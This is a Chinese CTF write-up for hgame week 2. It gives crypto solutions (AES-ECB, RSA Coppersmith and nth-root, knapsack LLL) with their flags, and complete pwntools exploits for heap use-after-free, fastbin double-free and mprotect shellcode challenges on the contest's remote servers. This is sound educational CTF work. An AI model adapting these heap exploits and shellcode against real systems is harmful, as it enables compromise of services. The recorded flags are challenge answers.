第2周找到了,目录名写成第1周了。
Crypto
奇怪的图片plus
第2周的图变了风格,是一个有远端的题
import asyncio
import os
import websockets
from PIL import Image
import struct
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
gift = b''.hex() # hide here
pos_list = [] # hide here
def bytes_to_image(image_bytes, width, height):
pixel_bytes = list(image_bytes)
reconstructed_image = Image.new('RGB', (width, height))
for y in range(height):
for x in range(width):
start = (y * width + x) * 3
pixel = struct.unpack('BBB', bytes(pixel_bytes[start:start + 3]))
reconstructed_image.putpixel((x, y), pixel)
return reconstructed_image
def xor_images(image1, image2):
if image1.size != image2.size:
raise ValueError("Images must have the same dimensions")
xor_image = Image.new("RGB", image1.size)
pixels1 = image1.load()
pixels2 = image2.load()
xor_pixels = xor_image.load()
for x in range(image1.size[0]):
for y in range(image1.size[1]):
r1, g1, b1 = pixels1[x, y]
r2, g2, b2 = pixels2[x, y]
xor_pixels[x, y] = (r1 ^ r2, g1 ^ g2, b1 ^ b2)
return xor_image
def check_pixels(image, positions):
pixels = image.load()
count = 0
for x in range(image.size[0]):
for y in range(image.size[1]):
if (x, y) in positions:
if pixels[x, y] != (0, 0, 0):
print('black')
return False
else:
if pixels[x, y] == (0, 0, 0):
count += 1
if count == 10:
print('count')
return False
return True
async def handle_client(websocket):
await websocket.send("Pls send two images that meet the following conditions")
await websocket.send("The black pixels in 'xor_images(image_1, image_2)' should match those in 'target'")
await websocket.send("Note: The server has scaling function during validation! XD")
image_1, image_2 = None, None
image_1_w, image_1_h, image_2_w, image_2_h = 0, 0, 0, 0
async for message_raw in websocket:
try:
if message_raw[:2] == b"B1":
image_1_w = int.from_bytes(message_raw[2:6], "big")
image_1_h = int.from_bytes(message_raw[6:10], "big")
image_1 = message_raw[6:]
await websocket.send("Image_1 received")
elif message_raw[:2] == b"B2":
image_2_w = int.from_bytes(message_raw[2:6], "big")
image_2_h = int.from_bytes(message_raw[6:10], "big")
image_2 = message_raw[6:]
await websocket.send("Image_2 received")
elif message_raw[:2] == b"B3":
if image_1 and image_2:
F = AES.new(key=os.urandom(16), mode=AES.MODE_ECB)
image_1_encrypted = bytes_to_image(F.encrypt(pad(image_1, F.block_size)), image_1_w, image_1_h)
image_2_encrypted = bytes_to_image(F.encrypt(pad(image_2, F.block_size)), image_2_w, image_2_h)
xor_image = xor_images(image_1_encrypted, image_2_encrypted)
xor_image = xor_image.resize((16, 9), Image.NEAREST)
xor_image.show()
if check_pixels(xor_image, pos_list):
await websocket.send("Here is your gift: {}".format(gift))
else:
await websocket.send("Verification failed")
else:
await websocket.send("Pls send two images first!!")
except ValueError as err:
await websocket.send(err)
async def main():
server = await websockets.serve(handle_client, "localhost", 10002)
await server.wait_closed()
asyncio.run(main())
远端可以输入两个图片,然后把两个图AES加密对应像素异或后缩小到16*9再与已知图片对比,要求黑的地方相同(最多差10个)
这里涉及到AES-ECB加密方式,也就是密码本方式,相同的明文会生成相同的密文。16字节块只要有1字节不同便几乎全不同,所以这个题的卡点就在于这个缩放上,只要把1个字节放大到16字节,正好是一个加密块,这样两个相同的块结果就完全一样,再异或后就是0,远端缩小后16个缩到1个就还是0
from websockets.sync.client import connect
#横向每16个像素表示1个像素,16个像素48个数据,ECB加密,相同则xor得0不相同则xor不为0,缩小后与target图片相同
w = '\x00\x00\x01\x00'
h = '\x00\x00\x00\x09'
a = '111111111111111110000100001100011011010111101111101101011110111110000100001100111011010111111101101101011111110110110100001000111111111111111111'
b = ''.join(['1'*16*3 if v=='1' else '0'*16*3 for v in a])
img1 = "B1" + w + h + '0'*(16*16*9*3 -4)
img2 = "B2" + w + h + b[4:]
def hello():
with connect("ws://106.14.57.14:31885") as websocket:
print(f"Received: {websocket.recv()}")
print(f"Received: {websocket.recv()}")
print(f"Received: {websocket.recv()}")
websocket.send(img1.encode() )
print(f"Received: {websocket.recv()}")
websocket.send(img2.encode() )
print(f"Received: {websocket.recv()}")
websocket.send(b"B3")
print(f"Received: {websocket.recv()}")
hello()
'''
Received: Pls send two images that meet the following conditions
Received: The black pixels in 'xor_images(image_1, image_2)' should match those in 'target'
Received: Note: The server has scaling function during validation! XD
Received: Image_1 received
Received: Image_2 received
Received: Here is your gift: 8693346e81fa05d8817fd2550455cdf6
'''
得到这个gift( key)后直接解密就可以了,不过由于没有iv,需要用第1块官方作IV,明文第1块会损失掉。不过题目已经是图片,仅少几个像素影响不大。
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os
from PIL import Image, ImageFont, ImageDraw
import struct
import random
def image_to_bytes(image):
width, height = image.size
pixel_bytes = []
for y in range(height):
for x in range(width):
pixel = image.getpixel((x, y))
pixel_bytes.extend(struct.pack('BBB', *pixel))
image_bytes = bytes(pixel_bytes)
return image_bytes
def bytes_to_image(image_bytes, width, height):
pixel_bytes = list(image_bytes)
reconstructed_image = Image.new('RGB', (width, height))
for y in range(height):
for x in range(width):
start = (y * width + x) * 3
pixel = struct.unpack('BBB', bytes(pixel_bytes[start:start + 3]))
reconstructed_image.putpixel((x, y), pixel)
return reconstructed_image
key = bytes.fromhex('8693346e81fa05d8817fd2550455cdf6')
#ofb格式用key加密iv(下一块的IV)后与明文异或得到密文
img = Image.open("encrypted_flag.png")
img = image_to_bytes(img)
F = AES.new(key=key, mode=AES.MODE_OFB, iv=img[:16])
c = F.decrypt(img[16:])
img2 = bytes_to_image(b'\x00'*16+c, 200,150)
img2.show()
#hgame{1ad4_80cc_1fb2_be7c}
midRSA
不清楚是题有问题还是啥,很可能是出题人故意的。
from Crypto.Util.number import *
from secret import flag
def padding(flag):
return flag+b'\xff'*(64-len(flag))
flag=padding(flag)
m=bytes_to_long(flag)
p=getPrime(512)
q=getPrime(512)
e=3
n=p*q
c=pow(m,e,n)
m0=m>>208
print(f'n={n}')
print(f'c={c}')
print(f'm0={m0}')
"""
n=120838778421252867808799302603972821425274682456261749029016472234934876266617266346399909705742862458970575637664059189613618956880430078774892479256301209695323302787221508556481196281420676074116272495278097275927604857336484564777404497914572606299810384987412594844071935546690819906920254004045391585427
c=118961547254465282603128910126369011072248057317653811110746611348016137361383017921465395766977129601435508590006599755740818071303929227578504412967513468921191689357367045286190040251695094706564443721393216185563727951256414649625597950957960429709583109707961019498084511008637686004730015209939219983527
m0=13292147408567087351580732082961640130543313742210409432471625281702327748963274496942276607
"""
一个RSA的题,其中m经过pad,并给出了部分,一般情况下部分m给出的可以用coppersmith解法,但这题经过pad,如果flag不是很长,而少的208位只是pad部分没有意义,直接long_to_bytes(m0)即可(如果位数不是8的整数倍需要对齐,这题正好是所以不用任何处理)
babyRSA
RSA给了p,q,n,c没有给e,但是给了一个运算gift
from Crypto.Util.number import *
from secret import flag,e
m=bytes_to_long(flag)
p=getPrime(64)
q=getPrime(256)
n=p**4*q
k=getPrime(16)
gift=pow(e+114514+p**k,0x10001,p)
c=pow(m,e,n)
print(f'p={p}')
print(f'q={q}')
print(f'c={c}')
print(f'gift={gift}')
"""
p=14213355454944773291
q=61843562051620700386348551175371930486064978441159200765618339743764001033297
c=105002138722466946495936638656038214000043475751639025085255113965088749272461906892586616250264922348192496597986452786281151156436229574065193965422841
gift=9751789326354522940
"""
gift=pow(e+114514+p**k,0x10001,p)这里带p的项去掉后可以求出e,不过呢e是phi的因子,需要用AMM算法,e很小只有73561个解,找到hgame就可以了
e = pow(gift, invert(0x10001, p-1), p) - 114514
#73561
v = Zmod(p*q)(c).nth_root(e, all=True)
for i in v:
m = long_to_bytes(int(v))
if b'hgame' in m:
print(m)
break
#b'hgame{Ad1eman_Mand3r_Mi11er_M3th0d}'
backpack
远看像个背包问题,近看与第2题一样是个脑筋急转弯。
from Crypto.Util.number import *
import random
from secret import flag
a=[getPrime(32) for _ in range(20)]
p=random.getrandbits(32)
assert len(bin(p)[2:])==32
bag=0
for i in a:
temp=p%2
bag+=temp*i
p=p>>1
enc=bytes_to_long(flag)^p #循环20次后,p只有12位
print(f'enc={enc}')
print(f'a={a}')
print(f'bag={bag}')
"""
enc=871114172567853490297478570113449366988793760172844644007566824913350088148162949968812541218339
a=[3245882327, 3130355629, 2432460301, 3249504299, 3762436129, 3056281051, 3484499099, 2830291609, 3349739489, 2847095593, 3532332619, 2406839203, 4056647633, 3204059951, 3795219419, 3240880339, 2668368499, 4227862747, 2939444527, 3375243559]
bag=45893025064
"""
在计算bag时,p=p>>1这样p会缩得很小,本来就32位,再移出20位还乘12位,顶多就就影响一个半字符。直接long_to_bytes(enc)就可以了。
backpack_revenge
回到背包问题来,这是个入门题,直接照模板画一下就行了
from Crypto.Util.number import *
import random
import hashlib
a=[getPrime(96) for _ in range(48)]
p=random.getrandbits(48)
assert len(bin(p)[2:])==48
flag='hgame{'+hashlib.sha256(str(p).encode()).hexdigest()+'}'
bag=0
for i in a:
temp=p%2
bag+=temp*i
p=p>>1
print(f'a={a}')
print(f'bag={bag}')
"""
a=[74763079510261699126345525979, 51725049470068950810478487507, 47190309269514609005045330671, 64955989640650139818348214927, 68559937238623623619114065917, 72311339170112185401496867001, 70817336064254781640273354039, 70538108826539785774361605309, 43782530942481865621293381023, 58234328186578036291057066237, 68808271265478858570126916949, 61660200470938153836045483887, 63270726981851544620359231307, 42904776486697691669639929229, 41545637201787531637427603339, 74012839055649891397172870891, 56943794795641260674953676827, 51737391902187759188078687453, 49264368999561659986182883907, 60044221237387104054597861973, 63847046350260520761043687817, 62128146699582180779013983561, 65109313423212852647930299981, 66825635869831731092684039351, 67763265147791272083780752327, 61167844083999179669702601647, 55116015927868756859007961943, 52344488518055672082280377551, 52375877891942312320031803919, 69659035941564119291640404791, 52563282085178646767814382889, 56810627312286420494109192029, 49755877799006889063882566549, 43858901672451756754474845193, 67923743615154983291145624523, 51689455514728547423995162637, 67480131151707155672527583321, 59396212248330580072184648071, 63410528875220489799475249207, 48011409288550880229280578149, 62561969260391132956818285937, 44826158664283779410330615971, 70446218759976239947751162051, 56509847379836600033501942537, 50154287971179831355068443153, 49060507116095861174971467149, 54236848294299624632160521071, 64186626428974976108467196869]
bag=1202548196826013899006527314947
"""
M = matrix(ZZ, 48,48)
for i in range(47):
M[i,i] = 1
M[i,-1] = a[i]
M[-1,-1] = -(bag - a[-1])
L = M.LLL()
#(1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0)
p = int('1'+(''.join([str(i) for i in L[-1][:-1]])[::-1]), 2)
#268475474669857
print('hgame{'+hashlib.sha256(str(p).encode()).hexdigest()+'}')
#'hgame{04b1d0b0fb805a70cda94348ec5a33f900d4fd5e9c45e765161c434fa0a49991}'
midRSA_revenge
RSA部分明文已经
from Crypto.Util.number import *
from secret import flag
m=bytes_to_long(flag)
p=getPrime(1024)
q=getPrime(1024)
e=5
n=p*q
c=pow(m,e,n)
m0=m>>128
print(f'n={n}')
print(f'c={c}')
print(f'm0={m0}')
"""
n=27814334728135671995890378154778822687713875269624843122353458059697288888640572922486287556431241786461159513236128914176680497775619694684903498070577307810263677280294114135929708745988406963307279767028969515305895207028282193547356414827419008393701158467818535109517213088920890236300281646288761697842280633285355376389468360033584102258243058885174812018295460196515483819254913183079496947309574392848378504246991546781252139861876509894476420525317251695953355755164789878602945615879965709871975770823484418665634050103852564819575756950047691205355599004786541600213204423145854859214897431430282333052121
c=456221314115867088638207203034494636244706611111621723577848729096069230067958132663018625661447131501758684502639383208332844681939698124459188571813527149772292464139530736717619741704945926075632064072125361516435631121845753186559297993355270779818057702973783391589851159114029310296551701456748698914231344835187917559305440269560613326893204748127999254902102919605370363889581136724164096879573173870280806620454087466970358998654736755257023225078147018537101
m0=9999900281003357773420310681169330823266532533803905637
"""
而且幂很小
P.<x> = PolynomialRing(Zmod(n))
f = ((m0<<128)+x)^5 - c
v = f.small_root(X=2^128, beta=0.5)
long_to_bytes((m0<<128) + int(v[0]))
b'hgame{c0ppr3smith_St3re0typed_m3ssag3s}'
PWN
Elden Ring Ⅱ
pie未开,got表可写,free未删指针,UAF作tcacheAttack将块写到指针表。再改got表
from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
elf = ELF('./vuln')
#p = process('vuln')
p = remote('106.14.57.14',30077)
def add(idx, size):
p.sendlineafter(b'>', b'1')
p.sendlineafter(b"Index: ", str(idx).encode())
p.sendlineafter(b"Size: ", str(size).encode())
def free(idx):
p.sendlineafter(b'>', b'2')
p.sendlineafter(b"Index: ", str(idx).encode())
def edit(idx, msg):
p.sendlineafter(b'>', b'3')
p.sendlineafter(b"Index: ", str(idx).encode())
p.sendafter(b"Content: ", msg)
def show(idx):
p.sendlineafter(b'>', b'4')
p.sendlineafter(b"Index: ", str(idx).encode())
add(0, 0x38)
add(1, 0x38)
free(0)
free(1)
edit(1, p64(0x4040c0))
add(2,0x38)
add(3,0x38)
edit(3, flat(0x4040c8, b'/bin/sh\x00', elf.got['free']))
show(2)
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['free']
print(f"{ libc.address = :x}")
edit(2, p64(libc.sym['system']))
free(0)
#gdb.attach(p)
#pause()
p.interactive()
shellcodeMaster
本是一个shellcode题作个read即可,这里多加了个mprotect,把块作成只读的,所以需要先调用mprotect改属性再read
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+8h] [rbp-8h]
init(argc, argv, envp);
sandbox();
buf = (void *)(int)mmap((void *)0x2333000, 0x1000uLL, 7, 34, -1, 0LL);
puts("I heard that a super shellcode master can accomplish 2 functions with 0x16 bytes shellcode\n");
read(0, buf, 0x16uLL);
puts("Love!");
mprotect(buf, 0x1000uLL, 4);
JUMPOUT(0x2333000LL);
}
from pwn import *
context(arch='amd64', log_level='debug')
#p = process('./vuln')
p = remote('106.14.57.14', 31032)
pay1 = asm('''cbw; mov al,10; /* rax=10*/
cdq; mov dl,0xf0; mov esi,edx; /* rsi=0xf0 */
mov dl,7; /* rdx = 7*/
mov rdi,r15; /* rdi = 0x2333000 */
syscall''') #16 rax=0
#rax=0 rdx=0 rsi=f0 rdi=2333000 ---> rdi=0 rsi=2333000 rdx=f0
pay2 = asm('cdq;xchg eax,edi;xchg eax,esi; xchg eax,edx; syscall') #6
pay3 = b'\x90'*0x16 + asm('mov rsp, 0x404800;'+ shellcraft.open('/flag') + shellcraft.read(3,0x404800,0x50)+shellcraft.write(1,0x404800,0x50))
#gdb.attach(p, "b*0x4013f6\nc")
p.sendafter(b"\n\n", pay1+pay2)
p.send(pay3)
p.interactive()
回头得看看别人怎么写的,感觉写得很麻烦,不过也只是刚刚够字节限制。
fastnote
有uaf和块大小限制,需要释放8个0x80的块才会进入到unsort,另外tcache已经有检查不能释放相同的地址,需要在fastbin造double free
from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc-2.31.so')
elf = ELF('./vuln')
#p = process('./vuln')
p = remote('106.14.57.14', 31412)
def add(idx, size, msg):
p.sendlineafter(b'Your choice:', b'1')
p.sendlineafter(b"Index: ", str(idx).encode())
p.sendlineafter(b"Size: ", str(size).encode())
p.sendafter(b"Content: ", msg)
def free(idx):
p.sendlineafter(b'Your choice:', b'3')
p.sendlineafter(b"Index: ", str(idx).encode())
def show(idx):
p.sendlineafter(b'Your choice:', b'2')
p.sendlineafter(b"Index: ", str(idx).encode())
for i in range(9):
add(i,0x80,b'A')
for i in range(8):
free(i)
show(7)
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x70-libc.sym['__malloc_hook']
print(f"{ libc.address = :x}")
for i in range(9):
add(i, 0x20, b'AA')
for i in range(7):
free(i)
free(7)
free(8)
free(7)
for i in range(7):
add(i,0x20,b'A')
add(0, 0x20, p64(libc.sym['__free_hook']))
add(1, 0x20, b'A')
add(1, 0x20, b'/bin/sh\x00')
add(2, 0x20, p64(libc.sym['system']))
free(1)
p.interactive()
old_fastnote
2.23版的libc,那时候还没有tcache,所以double后需要利用在malloc_hook前错位得到0x7f的头进行fastbin attack
from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc-2.23.so')
elf = ELF('./vuln')
#p = process('vuln')
p = remote('106.14.57.14',31434)
def add(idx, size, msg=b'A'):
p.sendlineafter(b"Your choice:", b'1')
p.sendlineafter(b"Index: ", str(idx).encode())
p.sendlineafter(b"Size: ", str(size).encode())
p.sendafter(b"Content: ", msg)
def free(idx):
p.sendlineafter(b"Your choice:", b'3')
p.sendlineafter(b"Index: ", str(idx).encode())
def show(idx):
p.sendlineafter(b"Your choice:", b'2')
p.sendlineafter(b"Index: ", str(idx).encode())
add(0,0x80)
add(1,0x68)
add(2,0x68)
free(0)
show(0)
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x68 - libc.sym['__malloc_hook']
print(f"{ libc.address = :x}")
one = libc.address + 0xf1247
free(1)
free(2)
free(1)
add(3,0x68,p64(libc.sym['__malloc_hook']-0x23))
add(4,0x68)
add(4,0x68)
add(5,0x68, b'AAA'+ flat(0,0, one))
p.sendlineafter(b"Your choice:", b'1')
p.sendlineafter(b"Index: ", b'8')
p.sendlineafter(b"Size: ", b'88')
p.interactive()